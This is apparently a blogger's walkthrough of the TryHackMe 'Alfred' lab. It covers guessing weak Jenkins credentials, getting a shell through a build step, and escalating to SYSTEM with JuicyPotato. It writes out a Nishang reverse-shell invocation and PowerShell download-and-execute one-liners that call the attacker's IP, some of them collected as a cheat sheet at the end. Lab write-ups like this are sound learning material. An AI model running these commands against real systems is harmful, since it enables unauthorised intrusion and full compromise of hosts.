I am currently in the process of completing these boxes on Try Hack Me again in an effort to document my experience, reinforce my knowledge of the topics, and improve my ability to concisely communicate the pentest lifecycle.
Description: Exploit Jenkins to gain an initial shell, then escalate your privileges by exploiting Windows authentication tokens.
The task description indicated that the host does not respond to ping requests which is why we added the
-Pn flag to our nmap scan.
From the scan results, the target is a Windows OS with three open ports:
- 80 (HTTP)
- 3389 (tcpwrapped)
- 8080 (HTTP)
Browsing to the web application served on port 80, the index page displays a picture of Bruce Wayne and a donations request to alfred.
A few of the steps to enumerate this application:
- Check for robots.txt
- Check the page source
- Hidden directories using the 2.3-small.txt file
None of these returned any results that we could use. Apart from exploiting the old IIS version (current version is 10.0.x), the application at port 8080 may be a more useful vector.
Jenkins is a CI/CD pipeline tool used to automate builds and deployments. This already looks to be more promising than the application we just visited. Now, if only we had credentials.
I performed the same initial enumeration checks that I performed on port 80 but similarly, there were no endpoints that were accessible as an unauthenticated user.
Determining the Jenkins version for any available exploits 1
On the bottom-right text, the version of this Jenkins is 2.190.1 with no available exploits (not that I looked that hard), unfortunately.
The default credentials for Jenkins is
admin:password but that didn’t work either. Our next resort is to try to brute force the Jenkins login form.
Wow! I can’t believe I didn’t try admin as the password but we have our way into the target.
We have access to the CI/CD project and build space. As an administrative user, we have the ability to create a project and execute commands that are a part of the build process 1.
There is already a project created along with a completed build! Checking out the build’s console output,
the build is executed by cmd.exe. We should be able to take advantage of this and generate a reverse shell for ourselves as
alfred\bruce. We’ll use the download and execute in-memory method to trigger a reverse TCP Powershell script 2 using Nishang’s reverse TCP Powershell script. The only modification we need to make is add a line at the bottom of the script to invoke the function to connect back to our netcat listener on our attacker system.
Invoke-PowerShellTcp -Reverse -IPAddress 10.6.5.103 -Port 4444
When this script is downloaded onto the target system, the reverse shell function will automatically execute. But, we need to get the file from our attacker system onto the target system.
We can invoke a Powershell expression to download the file using the “Net.WebClient” object 2. Before we modify the build configuration, we need to serve the Powershell script using Python’s http.server module and create a netcat listener on port 4444 to catch the reverse shell.
It took me 8 attempts to modify the command and update the build configuration before I caught the reverse shell. After I slowed down and inspected the reference 2, it was easier to recognize the mistakes and get the correct command format.
Once we save the build configuration and execute the build, we should see a log entry in our HTTP server and the reverse shell connection as
Woot woot! Let’s grab the user flag at C:\Users\bruce\Desktop\user.txt and move on to privilege escalation.
Windows privilege escalation is a very new topic so the first item in the checklist I came across was to search for tokens using
The SeImpersonatePrivilege is one that I have come across before. Many of the resources recommended the JuicyPotato exploit to abuse this privilege which I did not use the first time I completed this room.
The first time I completed this room, I used the THM recommendations to generate a Meterpreter payload that connects back to a handler on the attacker system. Within Meterpreter, you can load the
incognito module and impersonate the token fairly easily.
This time, we’ll follow the steps documented in this article to use the JuicyPotato exploit and obtain a reverse shell as SYSTEM.
We can use the following command to download the nc64.exe file from the Python web server.
powershell "IEX(New-Object Net.WebClient).downloadFile('http://10.6.5.103/nc64.exe', 'C:\Users\public\nc64.exe')" -bypass executionpolicy
Once the JuicyPotato.exe file is present, establish a second netcat listener and execute the JuicyPotato binary specifying the COM listening port, program to execute (netcat connection to our listener with the
-e flag), and createprocess arguments.
In the image below, you can see the command execution of the JuicyPotato exploit on the left, and the connection from the target to our netcat listener as SYSTEM. We have obtained root!
We can search for the root.txt flag,
and consider this room completed.
Powershell Download File
If we want to download a PS1 script and execute in memory
powershell "IEX((New-Object Net.WebClient).downloadFile('http://10.6.5.103/script.ps1'))"
With this method, ensure the script has the expression(s) to invoke a function or method.
Alternatively, if you want to download an executable file and execute it
powershell "IEX((New-Object Net.WebClient).downloadFile('http://10.6.5.103/shell.exe'))"
This is the first Windows room I have encountered in this journey to redo these Try Hack Me rooms including a writeup. Dealing with a Windows room including privilege escalation seems very foreign to me. The most privesc I can complete for Windows involves
getsystem on Metasploit but one of the big accomplishments I felt this time around was completing this room with no hints AND without using Metasploit.
Along with being foreign to Windows targets and privilege escalation, the JuicyPotato exploit completely went over my head. At some point in this journey, I’ll perform significantly more research into Windows privilege escalation and these Impersonation tokens.
Lastly, this room provides the opportunity to use Powershell scripts, exposure to the Jenkins system and abusing the build system with RCE, exposure to Windows and using a manual or Metasploit privesc techniques. This room has it all!